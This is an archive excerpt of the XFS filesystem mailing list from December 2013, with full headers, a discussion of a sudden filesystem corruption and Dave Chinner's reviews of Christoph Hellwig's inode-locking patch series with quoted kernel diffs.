16:03:39 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131208160339.5c45ab91@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <52A401FF.9050506@hardwarefreak.com> References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp6-g21.free.fr[212.27.42.6] X-Barracuda-Start-Time: 1386515027 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Sat, 07 Dec 2013 23:22:07 -0600 vous =C3=A9criviez: > > Thanks for the great advice, I think you are on to something > > there. I will =20 >=20 > You're welcome. Full disclosure: I should have mentioned that I > haven't used CacheCade yet myself. My statements WRT performance are > based on available literature and understanding of the technology. I didn't test thoroughly cachecade though I have a license code somewhere, however I've used the equivalent Adaptec feature and one SSD roughly double the IOPS of a RAID-6 array of 15k RPM SAS drives from about 4200 IOPS to 7500 IOPS. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From david@fromorbit.com Sun Dec 8 16:20:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 642387F84 for ; Sun, 8 Dec 2013 16:20:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5268F8F8040 for ; Sun, 8 Dec 2013 14:20:32 -0800 (PST) X-ASG-Debug-ID: 1386541219-04cbb04168615ec0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id Qpd46NHIKTH3paRN for ; Sun, 08 Dec 2013 14:20:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAA7wpFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQU6HCMQCAMYCSUPBSUDIRMah2fAYhcWjnoHgyCBEwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 08:50:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpmhy-0007Ot-Fm; Mon, 09 Dec 2013 09:20:14 +1100 Date: Mon, 9 Dec 2013 09:20:14 +1100 From: Dave Chinner To: Mike Dacre Cc: Ben Myers , xfs@oss.sgi.com Subject: Re: Sudden File System Corruption Message-ID: <20131208222014.GA31386@dastard> X-ASG-Orig-Subj: Re: Sudden File System Corruption References: <20131205174058.GF1935@sgi.com> <20131205175053.GG1935@sgi.com> <20131206002308.GS10553@sgi.com> <20131206225612.GU10553@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386541222 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [ For future reference - can people keep triage on the public list so everyone can see that the problem is being worked on? ] On Fri, Dec 06, 2013 at 03:15:33PM -0800, Mike Dacre wrote: > On Fri, Dec 6, 2013 at 2:56 PM, Ben Myers wrote: > > It's great that you have this. And an interesting repair log. > > The good news is that it doesn't look like the corruption that > > xfs_repair doesn't fix, the bad news is that I don't recognise > > it. > > Here is the repair log from right after the corruption happened. > The repair was successful. If xfs_repair didn't report any freespace corruption, then it's because it didn't see any. And that's not actually surprising for this sort of shutdown followed by log recovery failures. What it means the corruption was detected pretty much immediately after it occurred and the shutdown confined it to the log before it could be propagated to the in place metadata. Which generally means the shutdown occurred within 30s of it occurring. In my experience, this sort of "corruption confined to the log" shutdown is usually a result of some kind of memory corruption that is captured accidentally in the log due to object relogging (i.e. in a dirty region from a previous change that is not yet committed to the log) prior to it being detected in a transaction. Without being able to see the before/after log recovery filesystem images, there's nothing we can do to track this down further. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:31:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8923A7F86 for ; Sun, 8 Dec 2013 16:31:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 68A9C304032 for ; Sun, 8 Dec 2013 14:31:46 -0800 (PST) X-ASG-Debug-ID: 1386541886-04bdf0131b1172f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1dmXSW2XRqRbj4fn for ; Sun, 08 Dec 2013 14:31:26 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAGLypFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwGUXFo56B4MggRMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:01:26 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpmsi-0007Pm-OI; Mon, 09 Dec 2013 09:31:20 +1100 Date: Mon, 9 Dec 2013 09:31:20 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/11] xfs: no need to lock the inode in xfs_find_handle Message-ID: <20131208223120.GB31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 01/11] xfs: no need to lock the inode in xfs_find_handle References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.196574675@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203128.196574675@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386541886 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:07PM -0800, Christoph Hellwig wrote: > Both the inode number and the generation do not change on a live inode. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_ioctl.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_ioctl.c 2013-12-06 19:16:33.819188640 +0100 > +++ xfs/fs/xfs/xfs_ioctl.c 2013-12-06 19:17:04.087188019 +0100 > @@ -112,15 +112,11 @@ xfs_find_handle( > memset(&handle.ha_fid, 0, sizeof(handle.ha_fid)); > hsize = sizeof(xfs_fsid_t); > } else { > - int lock_mode; > - > - lock_mode = xfs_ilock_map_shared(ip); > handle.ha_fid.fid_len = sizeof(xfs_fid_t) - > sizeof(handle.ha_fid.fid_len); > handle.ha_fid.fid_pad = 0; > handle.ha_fid.fid_gen = ip->i_d.di_gen; > handle.ha_fid.fid_ino = ip->i_ino; > - xfs_iunlock_map_shared(ip, lock_mode); > > hsize = XFS_HSIZE(handle); > } Agreed. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:32:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CA2CF7F86 for ; Sun, 8 Dec 2013 16:32:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B75168F8040 for ; Sun, 8 Dec 2013 14:32:13 -0800 (PST) X-ASG-Debug-ID: 1386541917-04cbb04167616570001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id DXdn4JHqtLPXMWrd for ; Sun, 08 Dec 2013 14:31:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAGLypFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHAZRcWjnoHgyCBEwOYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:01:56 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpmtE-0007Pv-MV; Mon, 09 Dec 2013 09:31:52 +1100 Date: Mon, 9 Dec 2013 09:31:52 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 02/11] xfs: remove xfs_iunlock_map_shared Message-ID: <20131208223152.GC31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 02/11] xfs: remove xfs_iunlock_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.352433582@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203128.352433582@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386541917 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:08PM -0800, Christoph Hellwig wrote: > We can just use xfs_iunlock without any loss of clarity. > > Signed-off-by: Christoph Hellwig Makes sense, gets rid of an unecessary wrapper. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:34:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1CB587F8B for ; Sun, 8 Dec 2013 16:34:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AC4ADAC002 for ; Sun, 8 Dec 2013 14:34:19 -0800 (PST) X-ASG-Debug-ID: 1386542045-04bdf01321117450001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id HIw7vQHpPuoYFlK4 for ; Sun, 08 Dec 2013 14:34:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAIvzpFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwGUXFo56B4MggRMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:04:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpmvH-0007QT-6C; Mon, 09 Dec 2013 09:33:59 +1100 Date: Mon, 9 Dec 2013 09:33:59 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/11] xfs: rename xfs_ilock_map_shared Message-ID: <20131208223359.GD31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 03/11] xfs: rename xfs_ilock_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.511935311@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203128.511935311@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542045 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:09PM -0800, Christoph Hellwig wrote: > Make it clear that we're only locking against the extent map on the data > fork. Also clean the function up a little bit. > > Signed-off-by: Christoph Hellwig ..... > =================================================================== > --- xfs.orig/fs/xfs/xfs_inode.c 2013-12-06 19:57:33.199138169 +0100 > +++ xfs/fs/xfs/xfs_inode.c 2013-12-06 19:58:41.667136764 +0100 > @@ -91,20 +91,15 @@ xfs_get_extsz_hint( > * xfs_iunlock() call. > */ > uint > -xfs_ilock_map_shared( > - xfs_inode_t *ip) > +xfs_ilock_data_map_shared( > + struct xfs_inode *ip) > { > - uint lock_mode; > + uint lock_mode = XFS_ILOCK_SHARED; > > - if ((ip->i_d.di_format == XFS_DINODE_FMT_BTREE) && > - ((ip->i_df.if_flags & XFS_IFEXTENTS) == 0)) { > + if (ip->i_d.di_format == XFS_DINODE_FMT_BTREE && > + (ip->i_df.if_flags & XFS_IFEXTENTS) == 0) > lock_mode = XFS_ILOCK_EXCL; > - } else { > - lock_mode = XFS_ILOCK_SHARED; > - } > - > xfs_ilock(ip, lock_mode); > - > return lock_mode; > } While we are changing this, I think it makes sense to move it to being a static inline function given how simple it is.... Otherwise it looks good. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:36:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0E7597F8B for ; Sun, 8 Dec 2013 16:36:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DE3878F8039 for ; Sun, 8 Dec 2013 14:36:29 -0800 (PST) X-ASG-Debug-ID: 1386542180-04cbb04168616810001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id yn8ZcKlSpyZlMEdM for ; Sun, 08 Dec 2013 14:36:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AikIAIvzpFJ5LHyk/2dsb2JhbABZgweDNqJ0jiKFT4EXF3SCJQEBBAEnExwjBQsIAw4KCSUPBSUDIROHfAXAZRcWjiNXB4MggRMDmBOKTIdIgz0ogS0 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:06:19 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpmxO-0007Qf-Nh; Mon, 09 Dec 2013 09:36:10 +1100 Date: Mon, 9 Dec 2013 09:36:10 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131208223610.GE31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203128.663030833@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542180 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:10PM -0800, Christoph Hellwig wrote: > Equivalent to xfs_ilock_data_map_shared, except for the attribute fork. > > Make xfs_getbmap use it if called for the attribute fork instead of > xfs_ilock_data_map_shared. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_bmap_util.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-06 19:58:15.759137296 +0100 > +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-06 20:02:23.291132216 +0100 > @@ -617,22 +617,27 @@ xfs_getbmap( > return XFS_ERROR(ENOMEM); > > xfs_ilock(ip, XFS_IOLOCK_SHARED); > - if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { > - if (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size) { > + if (whichfork == XFS_DATA_FORK) { > + if (!(iflags & BMV_IF_DELALLOC) && > + (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size)) { > error = -filemap_write_and_wait(VFS_I(ip)->i_mapping); > if (error) > goto out_unlock_iolock; > + > + /* > + * Even after flushing the inode, there can still be > + * delalloc blocks on the inode beyond EOF due to > + * speculative reallocation. These are not removed "speculative preallocation" > Index: xfs/fs/xfs/xfs_inode.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_inode.c 2013-12-06 19:58:41.667136764 +0100 > +++ xfs/fs/xfs/xfs_inode.c 2013-12-06 20:00:44.535134243 +0100 > @@ -77,17 +77,18 @@ xfs_get_extsz_hint( > } > > /* > - * This is a wrapper routine around the xfs_ilock() routine used to centralize > - * some grungy code. It is used in places that wish to lock the inode solely > - * for reading the extents. The reason these places can't just call > - * xfs_ilock(SHARED) is that the inode lock also guards to bringing in of the > - * extents from disk for a file in b-tree format. If the inode is in b-tree > - * format, then we need to lock the inode exclusively until the extents are read > - * in. Locking it exclusively all the time would limit our parallelism > - * unnecessarily, though. What we do instead is check to see if the extents > - * have been read in yet, and only lock the inode exclusively if they have not. > + * These two are wrapper routines around the xfs_ilock() routine used to > + * centralize some grungy code. They are used in places that wish to lock the > + * inode solely for reading the extents. The reason these places can't just > + * call xfs_ilock(ip, XFS_ILOCK_SHARED) is that the inode lock also guards to > + * bringing in of the extents from disk for a file in b-tree format. If the > + * inode is in b-tree format, then we need to lock the inode exclusively until > + * the extents are read in. Locking it exclusively all the time would limit > + * our parallelism unnecessarily, though. What we do instead is check to see > + * if the extents have been read in yet, and only lock the inode exclusively > + * if they have not. > * > - * The function returns a value which should be given to the corresponding > + * The functions return a value which should be given to the corresponding > * xfs_iunlock() call. > */ > uint > @@ -101,6 +102,19 @@ xfs_ilock_data_map_shared( > lock_mode = XFS_ILOCK_EXCL; > xfs_ilock(ip, lock_mode); > return lock_mode; > +} > + > +uint > +xfs_ilock_attr_map_shared( > + struct xfs_inode *ip) > +{ > + uint lock_mode = XFS_ILOCK_SHARED; > + > + if (ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE && > + (ip->i_afp->if_flags & XFS_IFEXTENTS) == 0) > + lock_mode = XFS_ILOCK_EXCL; > + xfs_ilock(ip, lock_mode); > + return lock_mode; > } Again, I think a static inline is appropriate here... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:36:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EB7947F98 for ; Sun, 8 Dec 2013 16:36:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D2EA08F8039 for ; Sun, 8 Dec 2013 14:36:47 -0800 (PST) X-ASG-Debug-ID: 1386542193-04cb6c537d60da40001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id CHXYBFoBKktZjlOr for ; Sun, 08 Dec 2013 14:36:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAIvzpFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQU6HCMQCAMOBwMJJQ8FJQMhE4gBwGUXFo56B4MggRMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:06:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpmxg-0007Qn-Kn; Mon, 09 Dec 2013 09:36:28 +1100 Date: Mon, 9 Dec 2013 09:36:28 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, Ben Myers Subject: Re: [PATCH 05/11] xfs: reinstate the ilock in xfs_readdir Message-ID: <20131208223628.GF31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/11] xfs: reinstate the ilock in xfs_readdir References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.786826439@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203128.786826439@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542193 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:11PM -0800, Christoph Hellwig wrote: > From: Ben Myers > > Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in > xfs_readdir because we might have to read the extent list in from disk. This > keeps other threads from reading from or writing to the extent list while it is > being read in and is still in a transitional state. > > This has been associated with "Access to block zero" messages on directories > with large numbers of extents resulting from excessive filesytem fragmentation, > as well as extent list corruption. Unfortunately no test case at this point. > > Signed-off-by: Ben Myers Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:37:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8871C7F8B for ; Sun, 8 Dec 2013 16:37:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 11776AC001 for ; Sun, 8 Dec 2013 14:37:11 -0800 (PST) X-ASG-Debug-ID: 1386542212-04cbb04168616870001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 8GRgpz4eOnqqOker for ; Sun, 08 Dec 2013 14:36:53 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAIvzpFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHAZRcWjnoHhDMDmBOKTIdIgWuBUig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:06:52 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpmxy-0007Qu-KX; Mon, 09 Dec 2013 09:36:46 +1100 Date: Mon, 9 Dec 2013 09:36:46 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/11] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Message-ID: <20131208223646.GG31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/11] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.914019342@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203128.914019342@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542212 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 